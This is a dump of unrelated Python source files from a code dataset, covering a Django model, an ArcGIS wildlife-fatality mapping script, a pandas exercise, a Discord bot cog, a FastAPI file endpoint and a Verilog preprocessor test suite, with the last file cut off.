models.PositiveIntegerField(blank=False), blank=True, default=list ) updated_date = models.DateTimeField(auto_now=True) def get_upvote_count(self): return len(self.upvotes) def get_downvote_count(self): return len(self.downvotes) def get_reply_count(self): return len(self.replies) def __str__(self): return dict( comment=self.comment, upvotes=self.get_upvote_count(), downvotes=self.get_downvote_count(), replies=self.get_reply_count(), ).__str__() class CommentUpvoteDownvoteMeta(models.Model): """ """ class ActionChoices(models.TextChoices): """ Choices for action options """ UPVOTE = "upv", "upvote" DOWNVOTE = "downvote", "downvote" # open for anyone public comment_interaction = models.ForeignKey( CommentInteractions, related_name="comment_interaction_upvdwv_meta", on_delete=models.CASCADE, ) action = models.CharField(max_length=100, choices=ActionChoices.choices) userid = models.PositiveIntegerField() date = models.DateTimeField(auto_now_add=True) def __str__(self): return f"userid: {self.userid} {self.action} Comment on {self.date}"
StarcoderdataPython
8102586
""" This script creates a shape uses 10 minute averages from weather data to create a merged predictive shape for downed wildlife monitoring. """ import os import datetime import sys import math import arcpy from arcpy import env #Set environmental variables env.workspace = sys.path[0] arcpy.env.overwriteOutput = True #Set the Projection to EPSG 32604 WGS 84 UTM 4 North - Hawaii prj = arcpy.SpatialReference(32604) #NOTE:Define Variables for ArcGIS tool dialogue box rotor = float(arcpy.GetParameter(0)) nacelle = float(arcpy.GetParameter(1)) carcass = float(arcpy.GetParameter(2)) cr = datetime.timedelta(days = carcass) area = float(arcpy.GetParameter(3)) MaximumSearchDistance = (nacelle+rotor)*(float(area)/100) MaxWindSpeed = float(arcpy.GetParameter(4)) #Example inputs #rotor = float(50) #nacelle = float(100) #carcass = float(6) #cr = datetime.timedelta(days = carcass) #area = float(75) #MaximumSearchDistance = (nacelle+rotor)*(float(area)/100) #MaxWindSpeed = float(15) #NOTE:Specify CSV with Fatality data Fatalities = arcpy.GetParameterAsText(5) #NOTE:Specify CSV with Weather Data Weather = arcpy.GetParameterAsText(6) a=open(Fatalities) fat_header=len(a.readlines()) a.close() c=open(Weather) weather_header=len(c.readlines()) c.close() #NOTE:Specify CSV for data try: if rotor>=nacelle: arcpy.AddError("Rotor radius cannot exceed Nacelle height") arcpy.GetMessages() elif fat_header==0 or weather_header==0: arcpy.AddError("CSV files must contain data") arcpy.GetMessages() else: fat_reader=open(Fatalities) #NOTE: create empty lists for fatality data and weather data fat_list = [] weather_list = [] #NOTE: Read weather data in the format M/D/YYYY weather=open(Weather) FMT = "%m/%d/%Y" #Note: Add a header to the temp file for row in fat_reader.readlines(): if "Common" in row: continue rs = row.split(",") #NOTE: append Date, Name, SiteTurbine fat_list.append([datetime.datetime.strptime(rs[0],FMT), rs[1], rs[5].rstrip()]) for row in weather.readlines(): #Skip the first row if there is a headder if "ID" in row: continue rs2 = row.split(",") #Return the timestamp from CSV wthr_dt = rs2[1].split(" ") #NOTE:append Site-turbine, Windspeed, Yaw, Date, Time weather_list.append([rs2[6].rstrip(), rs2[2], rs2[3], datetime.datetime.strptime(wthr_dt[0],FMT), wthr_dt[1]]) fat_reader.close() weather.close() ellipsedata = [] #NOTE: Compare lists and append values to ellipsedata list for item in fat_list: for day in weather_list: if item[0] >= day[3] and item[0]-cr <= day[3] and item[2]==day[0]: #Set center of ellipse to utm 0,0 X = 0 Y = 0 FatalityID = day[0] #Ellipse semimajor axis length Major = float(day[1])/MaxWindSpeed*MaximumSearchDistance #Ellipse semiminor axis length Minor = 2*(rotor*1.1) Yaw = day[2] WDate = day[3] WTime = day[4] ellipsedata.append([str(FatalityID), str(X), str(Y), str(Major), str(Minor), str(Yaw), str(WDate), str(WTime)]) temp2 = "temp2.csv" #output line shapefile ELLIPSE = "ellipsetest.shp" #output polygon shapefile ELLIPSEPOLY = "ellipsepoly.shp" #If the working shapefile was already created, delete it. if arcpy.Exists("ellipsecollector.shp"): arcpy.Delete_management("ellipsecollector.shp") arcpy.CreateFeatureclass_management(sys.path[0], "EllipseCollector.shp", "POLYGON", "", "", "", prj) #insert field for ID arcpy.AddField_management("ellipsecollector.shp", "SitTurb", "STRING", 250) fid = 0 for row in ellipsedata: write_headers = open(temp2, 'w') newstring = ",".join(row) write_headers.write('FatalityID,X,Y,Major,Minor,Yaw,Date,Time\n'+ newstring ) write_headers.close() Yaw = float(row[5]) #NOTE: create ellipse arcpy.TableToEllipse_management(temp2, ELLIPSE, "X", "Y", "Major", "Minor", "METERS", "Yaw", "DEGREES", "FatalityID", prj) #NOTE: create ellipse polygon arcpy.FeatureToPolygon_management(ELLIPSE, ELLIPSEPOLY) arcpy.AddField_management(ELLIPSEPOLY, "SitTurb", "STRING", 250) #distance from 0,0 to upwind corners posdist = math.sqrt(100.0+rotor**2) #angle of upwind right corners degree = math.degrees(math.atan(float(rotor)/10.0)) degree1 = 0+degree+float(Yaw) #angle of downwind right degree2 = 180-math.degrees(math.atan(float(rotor)/float(MaximumSearchDistance)))+Yaw # angle of downwind left degree3 = 180+math.degrees(math.atan(float(rotor)/float(MaximumSearchDistance)))+Yaw # angle of upwind left degree4 = 0-degree+float(Yaw) negdist = math.sqrt(MaximumSearchDistance**2+rotor**2) # distance from 0,0 to downwind corners #print "distance to negative corner:",negdist #create point coordinates based on rotation and distance bound1 = (posdist*math.sin(math.radians(degree1)), posdist*math.cos(math.radians(degree1))) bound2 = (negdist*math.sin(math.radians(degree2)), negdist*math.cos(math.radians(degree2))) bound3 = (negdist*math.sin(math.radians(degree3)), negdist*math.cos(math.radians(degree3))) bound4 = (posdist*math.sin(math.radians(degree4)), posdist*math.cos(math.radians(degree4))) # create an array of the 4 tuples pointlist = [bound1,bound2,bound3,bound4] array = arcpy.Array() point = arcpy.Point() for corner in pointlist: point.X, point.Y = corner[0], corner[1] array.add(point) #Create the bounding box to which the ellipse will be clipped if arcpy.Exists("boundingbox.shp"): arcpy.Delete_management("boundingbox.shp") arcpy.CreateFeatureclass_management( env.workspace, "boundingbox.shp", "POLYGON", "", "", "", prj) cursor = arcpy.da.InsertCursor("boundingbox.shp" , ["SHAPE@"]) cursor.insertRow([arcpy.Polygon(array)]) del cursor #Clip the ellipse to the bounding box arcpy.Clip_analysis(ELLIPSEPOLY, "boundingbox.shp", "clipellipse.shp") arcpy.Append_management("clipellipse.shp","ellipsecollector.shp") curs = arcpy.da.UpdateCursor("ellipsecollector.shp", ["FID","SitTurb"]) #Match FID to Fatality ID for en in curs: if en[0]==fid: en[1]=row[0] curs.updateRow(en) del curs fid += 1 #Get output shapefile location and merge predictiveshape = arcpy.GetParameterAsText(7) arcpy.Dissolve_management("ellipsecollector.shp", predictiveshape, "SitTurb") #Clean up working files arcpy.Delete_management("ellipsecollector.shp") arcpy.Delete_management("clipellipse.shp") arcpy.Delete_management("ellipsetest.shp") arcpy.Delete_management("ellipsepoly.shp") arcpy.Delete_management("boundingbox.shp") os.remove(temp2) #NOTE: Create Fatality Shapefile fatshape = arcpy.GetParameterAsText(8) arcpy.CreateFeatureclass_management(os.path.dirname(os.path.realpath(fatshape)), os.path.basename(fatshape), "POINT","","","",prj) arcpy.AddField_management(fatshape, "FatDate", "DATE") arcpy.AddField_management(fatshape, "SpName", "STRING") arcpy.AddField_management(fatshape, "SiteTurb", "STRING") arcpy.AddField_management(fatshape, "Contained", "SHORT") #Read from CSV to Shapefile fat_CSV=open(Fatalities) point1 = arcpy.Point() for line in fat_CSV.readlines(): #Skip first line if "Common" in line: continue linesplit = line.split(",") #Set X,Y Coordinates point1.X,point1.Y = float(linesplit[3]),float(linesplit[2]) #Create the shape cursor1 = arcpy.da.InsertCursor(fatshape, ["SHAPE@", "FatDate", "SpName", "SiteTurb"]) cursor1.insertRow([point1, linesplit[0], linesplit[1], linesplit[5]]) #Push the shape into memory and close the CSV del cursor1 fat_CSV.close() except ExecuteError: arcpy.GetMessages() except: arcpy.AddMessage("There has been a nontool error") arcpy.GetMessages()
StarcoderdataPython
8026673
# Merge action_movies to the scifi_movies with right join action_scifi = action_movies.merge(scifi_movies, on='movie_id', how='right', suffixes=('_act','_sci')) # From action_scifi, select only the rows where the genre_act column is null scifi_only = action_scifi[action_scifi['genre_act'].isnull()] # Merge the movies and scifi_only tables with an inner join movies_and_scifi_only = movies.merge(scifi_only, how='inner', left_on='id', right_on='movie_id') # Print the first few rows and shape of movies_and_scifi_only print(movies_and_scifi_only.head()) print(movies_and_scifi_only.shape)
StarcoderdataPython
4929915
<reponame>billyeatcookies/Biscuit<filename>src/lib/components/editor_types/editor/utils/binder.py class Binder: def __init__(self, master, bindings=None): self.base = master.base self.master = master self.bindings = bindings if bindings: self.bind_all() def bind(self, this, to_this): self.master.bind(this, to_this) def bind_all(self): # Disabling zooming with scrollwheel for now # self.master.text.bind("<Control-MouseWheel>", self.master.handle_zoom) self.master.text.bind("<<Change>>", self.master._on_change) self.master.text.bind("<Configure>", self.master._on_change)
StarcoderdataPython
5197176
<gh_stars>1000+ from collections import defaultdict from ...core.models import EventPayload from ...webhook.models import WebhookEvent from ..core.dataloaders import DataLoader class PayloadByIdLoader(DataLoader): context_key = "payload_by_id" def batch_load(self, keys): payload = EventPayload.objects.using(self.database_connection_name).in_bulk( keys ) return [payload.get(payload_id).payload for payload_id in keys] class WebhookEventsByWebhookIdLoader(DataLoader): context_key = "webhook_events_by_webhook_id" def batch_load(self, keys): webhook_events = WebhookEvent.objects.using( self.database_connection_name ).filter(webhook_id__in=keys) webhook_events_map = defaultdict(list) for event in webhook_events: webhook_events_map[event.webhook_id].append(event) return [webhook_events_map.get(webhook_id, []) for webhook_id in keys]
StarcoderdataPython
3320363
<reponame>JexPY/filemanager-fastapi import os from pathlib import Path from fastapi.responses import FileResponse from fastapi import HTTPException,status def response_image_file(filename:str, image_type:str): validPath = { 'original': os.environ.get('IMAGE_ORIGINAL_LOCAL_PATH'), 'thumbnail': os.environ.get('IMAGE_THUMBNAIL_LOCAL_PATH'), 'qrImage': os.environ.get('QR_IMAGE_LOCAL_PATH'), } if not Path(validPath[image_type] + filename).is_file(): raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail='File not found please recheck name') return FileResponse(validPath[image_type] + filename)
StarcoderdataPython
6433441
import discord from redbot.core import commands from discord_slash import SlashCommand, cog_ext, SlashContext from discord_slash.utils.manage_commands import remove_all_commands, create_option from discord_slash.model import SlashCommandOptionType from redbot.core.utils.menus import menu, prev_page, next_page from discord_components import DiscordComponents, Button, ButtonStyle, InteractionType from bs import player_stats, game_stats from typing import Union #source - https://github.com/phenom4n4n/phen-cogs/blob/d8cb2bd78fa1edc1b7f85ce4b67add8c8fd7db9e/slashtags/objects.py#L349 def implement_partial_methods(cls): msg = discord.Message for name in discord.Message.__slots__: func = getattr(msg, name) setattr(cls, name, func) return cls @implement_partial_methods class FakeMessage(discord.Message): REIMPLEMENTS = { "reactions": [], "mentions": [], "attachments": [], "stickers": [], "embeds": [], "flags": discord.MessageFlags._from_value(0), } def __init__( self, content: str, *, channel: discord.TextChannel, author: discord.Member, id: int, state, ): self._state = state self.id = id self.channel = channel self.guild = channel.guild self.content = content self.author = author for name, value in self.REIMPLEMENTS.items(): if not hasattr(self, name): setattr(self, name, value) for item in self.__slots__: if not hasattr(self, item): setattr(self, item, None) class Slash(commands.Cog): def __init__(self, bot): self.bot = bot #DiscordComponents(self.bot) def cog_unload(self): self.bot.slash.remove_cog_commands(self) @cog_ext.cog_slash( name="profile", description="BS player stats", options=[ create_option( name="target", description="Discord user, ID or BS tag", option_type=SlashCommandOptionType.STRING, required=False ) ] ) async def bs_profile(self, ctx: SlashContext, target:str=None): await ctx.defer() fake_message = FakeMessage( content= "...", channel= ctx.channel, author=ctx.author, id=int(ctx.interaction_id), state=self.bot._connection ) context = await self.bot.get_context(fake_message) user = None if target is None: user = ctx.author else: try: member_converter = commands.MemberConverter() user = await member_converter.convert(context, target) except commands.MemberNotFound: user = target embed = await player_stats.get_profile_embed(self.bot, context, user) await ctx.send(embed=embed) @cog_ext.cog_slash( name="brawlers", description="BS player's brawler stats", options=[ create_option( name="target", description="Discord user, ID or BS tag", option_type=SlashCommandOptionType.STRING, required=False ) ] ) async def bs_brawlers(self, ctx: SlashContext, target:str=None): await ctx.defer() fake_message = FakeMessage( content= "...", channel= ctx.channel, author=ctx.author, id=int(ctx.interaction_id), state=self.bot._connection ) context = await self.bot.get_context(fake_message) user = None if target is None: user = ctx.author else: try: member_converter = commands.MemberConverter() user = await member_converter.convert(context, target) except commands.MemberNotFound: user = target embeds = await player_stats.get_brawlers_embeds(self.bot, context, user) ctx.me = context.guild.get_member(self.bot.user.id) ctx.bot = self.bot await menu(ctx=ctx, pages=embeds, controls={"⬅": prev_page, "➡": next_page}, timeout=300) @cog_ext.cog_slash( name="brawler", description="BS player's detailed brawler stats", options=[ create_option( name="brawler", description="Brawler name", option_type=SlashCommandOptionType.STRING, required=True ), create_option( name="target", description="Discord user, ID or BS tag", option_type=SlashCommandOptionType.STRING, required=False ) ] ) async def bs_brawler(self, ctx: SlashContext, brawler:str, target:str=None): await ctx.defer() fake_message = FakeMessage( content= "...", channel= ctx.channel, author=ctx.author, id=int(ctx.interaction_id), state=self.bot._connection ) context = await self.bot.get_context(fake_message) user = None if target is None: user = ctx.author else: try: member_converter = commands.MemberConverter() user = await member_converter.convert(context, target) except commands.MemberNotFound: user = target embed = await player_stats.get_single_brawler_embed(self.bot, context, user, brawler) await ctx.send(embed=embed) @cog_ext.cog_slash( name="events", description="BS active and upcoming events", ) async def bs_events(self, ctx: SlashContext): await ctx.defer() embeds = await game_stats.get_event_embeds(self.bot) await ctx.send(embeds=embeds) @cog_ext.cog_slash( name="map", description="BS map info", options=[ create_option( name="name", description="Name of a map", option_type=SlashCommandOptionType.STRING, required=True ) ] ) async def bs_map(self, ctx: SlashContext, name:str): await ctx.defer() embed = await game_stats.get_map_embed(self.bot, name) await ctx.send(embed=embed) @cog_ext.cog_slash( name="website", description="LA BS website" ) async def website(self, ctx: SlashContext): await ctx.send(content="https://laclubs.net/")
StarcoderdataPython
3240161
<reponame>LINXNet/pyOCNOS """ This test module covers tests cases for function pyocnos.diff.normalize_tree() """ from lxml import etree from pyocnos.diff import normalize_tree def test_normalize_tree(): """ Ensure normalize_tree() wipe off name spaces, prefixes, redundant white spaces and new lines. """ string = """ <data xmlns="http://www.company.com/TOOSchema/BarOS" xmlns:a="http://www.company.com/TOOSchema/BarOS" xmlns:b="http://www.company.com/TOOSchema/BarOS"> <snmp xmlns="http://www.company.com/TOOSchema/BarOS"> foo </snmp> <vr xmlns="http://www.company.com/TOOSchema/BarOS"></vr> <a:logginglevel><loggingmodule> bgp</loggingmodule> </a:logginglevel> <interface> </interface> </data> """ tree_raw = etree.fromstring(string) assert tree_raw.tag == '{http://www.company.com/TOOSchema/BarOS}data' assert tree_raw[2].tag == '{http://www.company.com/TOOSchema/BarOS}logginglevel' assert tree_raw[3].text == '\n ' tree_normalised = normalize_tree(string) assert etree.tostring(tree_normalised).decode('utf-8') == \ '<data><snmp>foo</snmp><vr/><logginglevel><loggingmodule>bgp</loggingmodule></logginglevel><interface/></data>' assert tree_normalised.tag == 'data' assert tree_normalised[0].tag == 'snmp' assert tree_normalised[1].tag == 'vr' assert tree_normalised[2].tag == 'logginglevel'
StarcoderdataPython
6564300
<gh_stars>0 # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. # # Copyright (c) 2015-2016, <NAME> <EMAIL> # pylint: disable=too-many-public-methods # pylint: disable=unused-wildcard-import # pylint: disable=wildcard-import """ Test of the Verilog preprocessor """ from os.path import join, dirname, exists import os from unittest import TestCase import shutil from vunit.ostools import renew_path, write_file from vunit.parsing.verilog.preprocess import VerilogPreprocessor, Macro from vunit.parsing.verilog.tokenizer import VerilogTokenizer from vunit.parsing.tokenizer import Token from vunit.test.mock_2or3 import mock class TestVerilogPreprocessor(TestCase): """ Test of the Verilog preprocessor """ def setUp(self): self.output_path = join(dirname(__file__), "test_verilog_preprocessor_out") renew_path(self.output_path) self.cwd = os.getcwd() os.chdir(self.output_path) def tearDown(self): os.chdir(self.cwd) shutil.rmtree(self.output_path) def test_non_preprocess_tokens_are_kept(self): result = self.preprocess('"hello"ident/*comment*///comment') result.assert_has_tokens('"hello"ident/*comment*///comment') result.assert_no_defines() def test_preprocess_define_without_value(self): result = self.preprocess("`define foo") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo")}) result = self.preprocess("`define foo\nkeep") result.assert_has_tokens("keep") result.assert_has_defines({"foo": Macro("foo")}) def test_preprocess_define_with_value(self): result = self.preprocess("`define foo bar \"abc\"") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo", tokenize("bar \"abc\""))}) def test_preprocess_define_with_lpar_value(self): result = self.preprocess("`define foo (bar)") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo", tokenize("(bar)"))}) def test_preprocess_define_with_one_arg(self): result = self.preprocess("`define foo(arg)arg 123") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo", tokenize("arg 123"), args=("arg",))}) def test_preprocess_define_with_one_arg_ignores_initial_space(self): result = self.preprocess("`define foo(arg) arg 123") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo", tokenize("arg 123"), args=("arg",))}) def test_preprocess_define_with_multiple_args(self): result = self.preprocess("`define foo( arg1, arg2)arg1 arg2") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo", tokenize("arg1 arg2"), args=("arg1", "arg2"))}) def test_preprocess_define_with_default_values(self): result = self.preprocess("`define foo(arg1, arg2=default)arg1 arg2") result.assert_has_tokens("") result.assert_has_defines({"foo": Macro("foo", tokenize("arg1 arg2"), args=("arg1", "arg2"), defaults={"arg2": tokenize("default")})}) def test_preprocess_substitute_define_without_args(self): result = self.preprocess("""\ `define foo bar \"abc\" `foo""") result.assert_has_tokens("bar \"abc\"") def test_preprocess_substitute_define_with_one_arg(self): result = self.preprocess("""\ `define foo(arg)arg 123 `foo(hello hey)""") result.assert_has_tokens("hello hey 123") def test_preprocess_substitute_define_with_multile_args(self): result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo(1 2, hello)""") result.assert_has_tokens("1 2, hello") def test_preprocess_substitute_define_with_default_values(self): result = self.preprocess("""\ `define foo(arg1, arg2=default)arg1 arg2 `foo(1)""") result.assert_has_tokens("1 default") def test_preprocess_include_directive(self): self.write_file("include.svh", "hello hey") result = self.preprocess('`include "include.svh"', include_paths=[self.output_path]) result.assert_has_tokens("hello hey") result.assert_included_files([join(self.output_path, "include.svh")]) def test_detects_circular_includes(self): self.write_file("include1.svh", '`include "include2.svh"') self.write_file("include2.svh", '`include "include1.svh"') result = self.preprocess('`include "include1.svh"', include_paths=[self.output_path]) result.logger.error.assert_called_once_with( 'Circular `include of include2.svh detected\n%s', 'from fn.v line 1:\n' '`include "include1.svh"\n' '~~~~~~~~\n' 'from include1.svh line 1:\n' '`include "include2.svh"\n' '~~~~~~~~\n' 'from include2.svh line 1:\n' '`include "include1.svh"\n' '~~~~~~~~\n' 'at include1.svh line 1:\n' '`include "include2.svh"\n' ' ~~~~~~~~~~~~~~') def test_detects_circular_include_of_self(self): self.write_file("include.svh", '`include "include.svh"') result = self.preprocess('`include "include.svh"', include_paths=[self.output_path]) result.logger.error.assert_called_once_with( 'Circular `include of include.svh detected\n%s', 'from fn.v line 1:\n' '`include "include.svh"\n' '~~~~~~~~\n' 'from include.svh line 1:\n' '`include "include.svh"\n' '~~~~~~~~\n' 'at include.svh line 1:\n' '`include "include.svh"\n' ' ~~~~~~~~~~~~~') def test_does_not_detect_non_circular_includes(self): self.write_file("include3.svh", 'keep') self.write_file("include1.svh", '`include "include3.svh"\n`include "include2.svh"') self.write_file("include2.svh", '`include "include3.svh"') result = self.preprocess('`include "include1.svh"\n`include "include2.svh"', include_paths=[self.output_path]) result.assert_no_log() def test_detects_circular_macro_expansion_of_self(self): result = self.preprocess(''' `define foo `foo `foo ''') result.logger.error.assert_called_once_with( 'Circular macro expansion of foo detected\n%s', 'from fn.v line 3:\n' '`foo\n' '~~~~\n' 'from fn.v line 2:\n' '`define foo `foo\n' ' ~~~~\n' 'at fn.v line 2:\n' '`define foo `foo\n' ' ~~~~') def test_detects_circular_macro_expansion(self): result = self.preprocess(''' `define foo `bar `define bar `foo `foo ''') result.logger.error.assert_called_once_with( 'Circular macro expansion of bar detected\n%s', 'from fn.v line 4:\n' '`foo\n' '~~~~\n' 'from fn.v line 2:\n' '`define foo `bar\n' ' ~~~~\n' 'from fn.v line 3:\n' '`define bar `foo\n' ' ~~~~\n' 'at fn.v line 2:\n' '`define foo `bar\n' ' ~~~~') def test_does_not_detect_non_circular_macro_expansion(self): result = self.preprocess(''' `define foo bar `foo `foo ''') result.assert_no_log() def test_preprocess_include_directive_from_define(self): self.write_file("include.svh", "hello hey") result = self.preprocess('''\ `define inc "include.svh" `include `inc''', include_paths=[self.output_path]) result.assert_has_tokens('hello hey') result.assert_included_files([join(self.output_path, "include.svh")]) def test_preprocess_include_directive_from_define_with_args(self): self.write_file("include.svh", "hello hey") result = self.preprocess('''\ `define inc(a) a `include `inc("include.svh")''', include_paths=[self.output_path]) result.assert_has_tokens('hello hey') result.assert_included_files([join(self.output_path, "include.svh")]) def test_preprocess_macros_are_recursively_expanded(self): result = self.preprocess('''\ `define foo `bar `define bar xyz `foo `define bar abc `foo ''', include_paths=[self.output_path]) result.assert_has_tokens('xyz\nabc\n') def test_ifndef_taken(self): result = self.preprocess('''\ `ifndef foo taken `endif keep''') result.assert_has_tokens("taken\nkeep") def test_ifdef_taken(self): result = self.preprocess('''\ `define foo `ifdef foo taken `endif keep''') result.assert_has_tokens("taken\nkeep") def test_ifdef_else_taken(self): result = self.preprocess('''\ `define foo `ifdef foo taken `else else `endif keep''') result.assert_has_tokens("taken\nkeep") def test_ifdef_not_taken(self): result = self.preprocess('''\ `ifdef foo taken `endif keep''') result.assert_has_tokens("keep") def test_ifdef_else_not_taken(self): result = self.preprocess('''\ `ifdef foo taken `else else `endif keep''') result.assert_has_tokens("else\nkeep") def test_ifdef_elsif_taken(self): result = self.preprocess('''\ `define foo `ifdef foo taken `elsif bar elsif_taken `else else_taken `endif keep''') result.assert_has_tokens("taken\nkeep") def test_ifdef_elsif_elseif_taken(self): result = self.preprocess('''\ `define bar `ifdef foo taken `elsif bar elsif_taken `else else_taken `endif keep''') result.assert_has_tokens("elsif_taken\nkeep") def test_ifdef_elsif_else_taken(self): result = self.preprocess('''\ `ifdef foo taken `elsif bar elsif_taken `else else_taken `endif keep''') result.assert_has_tokens("else_taken\nkeep") def test_nested_ifdef(self): result = self.preprocess('''\ `define foo `ifdef foo outer_before `ifdef bar inner_ifndef `else inner_else `endif `ifdef bar inner_ifndef `elsif foo inner_elsif `endif outer_after `endif keep''') result.assert_has_tokens("outer_before\n" "inner_else\n" "inner_elsif\n" "outer_after\n" "keep") def test_preprocess_broken_define(self): result = self.preprocess("`define") result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "Verilog `define without argument\n%s", "at fn.v line 1:\n" "`define\n" "~~~~~~~") def test_preprocess_broken_define_first_argument(self): result = self.preprocess('`define "foo"') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "Verilog `define invalid name\n%s", "at fn.v line 1:\n" '`define "foo"\n' " ~~~~~") def test_preprocess_broken_define_argument_list(self): result = self.preprocess('`define foo(') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo(\n' " ~") result = self.preprocess('`define foo(a') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo(a\n' " ~") result = self.preprocess('`define foo(a=') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo(a=\n' " ~") result = self.preprocess('`define foo(a=b') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo(a=b\n' " ~") result = self.preprocess('`define foo(a=)') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo(a=)\n' " ~") result = self.preprocess('`define foo("a"') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo("a"\n' " ~") result = self.preprocess('`define foo("a"=') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `define argument list\n%s", "at fn.v line 1:\n" '`define foo("a"=\n' " ~") def test_preprocess_substitute_define_broken_args(self): result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo(1 2)""") result.assert_has_tokens("") result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo""") result.assert_has_tokens("") result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo(""") result.assert_has_tokens("") result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo(1""") result.assert_has_tokens("") def test_preprocess_substitute_define_missing_argument(self): result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo(1)""") result.assert_has_tokens("") result.logger.warning.assert_called_once_with( "Missing value for argument arg2\n%s", "at fn.v line 2:\n" '`foo(1)\n' "~~~~") def test_preprocess_substitute_define_too_many_argument(self): result = self.preprocess("""\ `define foo(arg1)arg1 `foo(1, 2)""") result.assert_has_tokens("") result.logger.warning.assert_called_once_with( "Too many arguments got 2 expected 1\n%s", "at fn.v line 2:\n" '`foo(1, 2)\n' "~~~~") def test_preprocess_substitute_define_eof(self): result = self.preprocess("""\ `define foo(arg1, arg2)arg1,arg2 `foo(1 2""") result.assert_has_tokens("") result.logger.warning.assert_called_once_with( "EOF reached when parsing `define actuals\n%s", "at fn.v line 2:\n" '`foo(1 2\n' "~~~~") def test_substitute_undefined(self): result = self.preprocess('`foo') result.assert_has_tokens("") # Debug since there are many custon `names in tools result.logger.debug.assert_called_once_with( "Verilog undefined name\n%s", "at fn.v line 1:\n" '`foo\n' "~~~~") def test_preprocess_include_directive_missing_file(self): result = self.preprocess('`include "missing.svh"', include_paths=[self.output_path]) result.assert_has_tokens("") result.assert_included_files([]) # Is debug message since there are so many builtin includes in tools result.logger.debug.assert_called_once_with( "Could not find `include file missing.svh\n%s", "at fn.v line 1:\n" '`include "missing.svh"\n' " ~~~~~~~~~~~~~") def test_preprocess_include_directive_missing_argument(self): result = self.preprocess('`include', include_paths=[self.output_path]) result.assert_has_tokens("") result.assert_included_files([]) result.logger.warning.assert_called_once_with( "EOF reached when parsing `include argument\n%s", "at fn.v line 1:\n" '`include\n' "~~~~~~~~") def test_preprocess_include_directive_bad_argument(self): self.write_file("include.svh", "hello hey") result = self.preprocess('`include foo "include.svh"', include_paths=[self.output_path]) result.assert_has_tokens(' "include.svh"') result.assert_included_files([]) result.logger.warning.assert_called_once_with( "Verilog `include bad argument\n%s", "at fn.v line 1:\n" '`include foo "include.svh"\n' " ~~~") def test_preprocess_include_directive_from_define_bad_argument(self): result = self.preprocess('''\ `define inc foo `include `inc keep''', include_paths=[self.output_path]) result.assert_has_tokens('\nkeep') result.assert_included_files([]) result.logger.warning.assert_called_once_with( "Verilog `include has bad argument\n%s", "from fn.v line 2:\n" '`include `inc\n' ' ~~~~\n' "at fn.v line 1:\n" '`define inc foo\n' " ~~~") def test_preprocess_include_directive_from_empty_define(self): result = self.preprocess('''\ `define inc `include `inc keep''', include_paths=[self.output_path]) result.assert_has_tokens('\nkeep') result.assert_included_files([]) result.logger.warning.assert_called_once_with( "Verilog `include has bad argument, empty define `inc\n%s", "at fn.v line 2:\n" '`include `inc\n' " ~~~~") def test_preprocess_include_directive_from_define_not_defined(self): result = self.preprocess('`include `inc', include_paths=[self.output_path]) result.assert_has_tokens('') result.assert_included_files([]) result.logger.warning.assert_called_once_with( "Verilog `include argument not defined\n%s", "at fn.v line 1:\n" '`include `inc\n' " ~~~~") def test_preprocess_error_in_include_file(self): self.write_file("include.svh", '`include foo') result = self.preprocess('\n\n`include "include.svh"', include_paths=[self.output_path]) result.assert_has_tokens('\n\n') result.assert_included_files([join(self.output_path, "include.svh")]) result.logger.warning.assert_called_once_with( "Verilog `include bad argument\n%s", "from fn.v line 3:\n" '`include "include.svh"\n' "~~~~~~~~\n" "at include.svh line 1:\n" '`include foo\n' ' ~~~') def test_preprocess_error_in_expanded_define(self): result = self.preprocess('''\ `define foo `include wrong `foo ''', include_paths=[self.output_path]) result.assert_has_tokens('\n') result.assert_included_files([]) result.logger.warning.assert_called_once_with( "Verilog `include bad argument\n%s", "from fn.v line 2:\n" '`foo\n' '~~~~\n' "at fn.v line 1:\n" '`define foo `include wrong\n' " ~~~~~") def test_ifdef_eof(self): result = self.preprocess('''\ `ifdef foo taken''') result.assert_has_tokens("") result.logger.warning.assert_called_once_with( "EOF reached when parsing `ifdef\n%s", "at fn.v line 1:\n" '`ifdef foo\n' '~~~~~~') def test_ifdef_bad_argument(self): result = self.preprocess('''\ `ifdef "hello" keep''') result.assert_has_tokens("\nkeep") result.logger.warning.assert_called_once_with( "Bad argument to `ifdef\n%s", "at fn.v line 1:\n" '`ifdef "hello"\n' ' ~~~~~~~') def test_elsif_bad_argument(self): result = self.preprocess('''\ `ifdef bar `elsif "hello" keep''') result.assert_has_tokens("\nkeep") result.logger.warning.assert_called_once_with( "Bad argument to `elsif\n%s", "at fn.v line 2:\n" '`elsif "hello"\n' ' ~~~~~~~') def 